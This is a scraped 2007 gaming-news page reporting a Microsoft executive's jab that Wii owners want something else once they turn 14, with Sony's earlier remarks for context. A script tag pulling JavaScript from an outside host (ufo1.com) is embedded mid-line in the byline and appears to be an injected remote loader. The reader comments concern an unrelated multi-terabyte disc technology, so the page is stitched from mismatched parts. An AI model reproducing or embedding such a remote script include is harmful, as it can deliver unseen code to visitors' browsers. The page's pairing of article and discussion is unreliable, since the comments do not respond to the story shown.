Wiis Are For Kiddies According To Microsoft

"Microsoft feels the need to take a shot at the Nintendo Wii"

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News <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 29/03/07
Author: PV5150
Source: DailyTech

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It appears that the Nintendo Wii is still raising the hackles of both Microsoft and Sony. Instead of Microsoft and Sony jabbing away at each other over their respective consoles, they have both now turned their attention towards the Wii.

When it comes to taking jabs at the console competition, Sony is usually in the spotlight. Shortly after the announcement of Microsoft’s new $479.99 USD Xbox 360 Elite, Sony responded by stating: “The PlayStation 3 is the only elite gaming system on the market. Microsoft is trying to catch up to us at this point.” Sony execs have also traded words with Nintendo over its hugely popular $249 Wii. The Wii has been burning up the North American sales charts outpacing both the Xbox 360 and the PS3. But back in early February, Sony's Dave Karraker labeled the Wii an “impulse buy.”

Microsoft have now taken to putting the Wii fair and square into it's firing line:

“We don’t feel like the Wii customer and the Xbox customer are the same thing,” said Rodman. “We think that as soon as the Wii customer turns 14 they want something else.” Microsoft still sticks by the notion that the Xbox 360 is for serious gamers and points to the fact that six out of ten Xbox 360 gamers are tapping into the Xbox Live online service.

Is this verbal attack on the Wii justified considering that it never really aspired to reach the level of the the other two consoles?

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28-03-2007, 23:33:33

NugentS
Yeah - but its 2010. By that time every man and his dog will be doing Multi TB on some sort of disc.

Now if they said this year - or perhaps early next year then it may be something special... But no - its 3 years away in the IT industry...

:-(

Sean

29-03-2007, 20:52:42

jackvdbuk
this may sounds stupid, but why cant it be released now? same with roadmaps, why cant Intel bring out 32nm now? whats so differnt between now and 2008/10

29-03-2007, 22:22:57

Nagaru

this may sounds stupid, but why cant it be released now? same with roadmaps, why cant Intel bring out 32nm now? whats so differnt between now and 2008/10



The difference is 2 years ;) but seriously I think companies do this so that they have a new product to talk about by then. This technology sounds very promising, I hope the disks are in cartridges though.

29-03-2007, 22:24:07

MikeEnIke
Yea, sure would suck to lose a TB of data because of some scratches :P

29-03-2007, 22:26:26

Nagaru

Yea, sure would suck to lose a TB of data because of some scratches :P



Ya and unless it is different from DVDs it should be very easy to do with that kind of data density.

29-03-2007, 23:20:12

MikeEnIke

Ya and unless it is different from DVDs it should be very easy to do with that kind of data density.

lol a 1mm scratch is 2 gigs of data :P

30-03-2007, 01:09:35

Nagaru

lol a 1mm scratch is 2 gigs of data :P



Well I am just thinking here, but I wonder how the multiple layers affects it? Does it make it more scratch tolerant or less?

30-03-2007, 06:55:48

MikeEnIke
It probably doesn't do much of either I would think. Then again, I'm not really sure.

30-03-2007, 07:55:54

Kempez

this may sounds stupid, but why cant it be released now? same with roadmaps, why cant Intel bring out 32nm now? whats so differnt between now and 2008/10



Checking it's all ready for the consumer, testing, bug fixed, getting their fabs ready for mass production, support, compatibility

It all take time

30-03-2007, 08:11:24

FragTek
I'm deffo in agreeance on the disc housing... I always loved cart based optical discs, I can't remember the last one I used but I'm pretty sure it was on a Mac back in high school or middle school.
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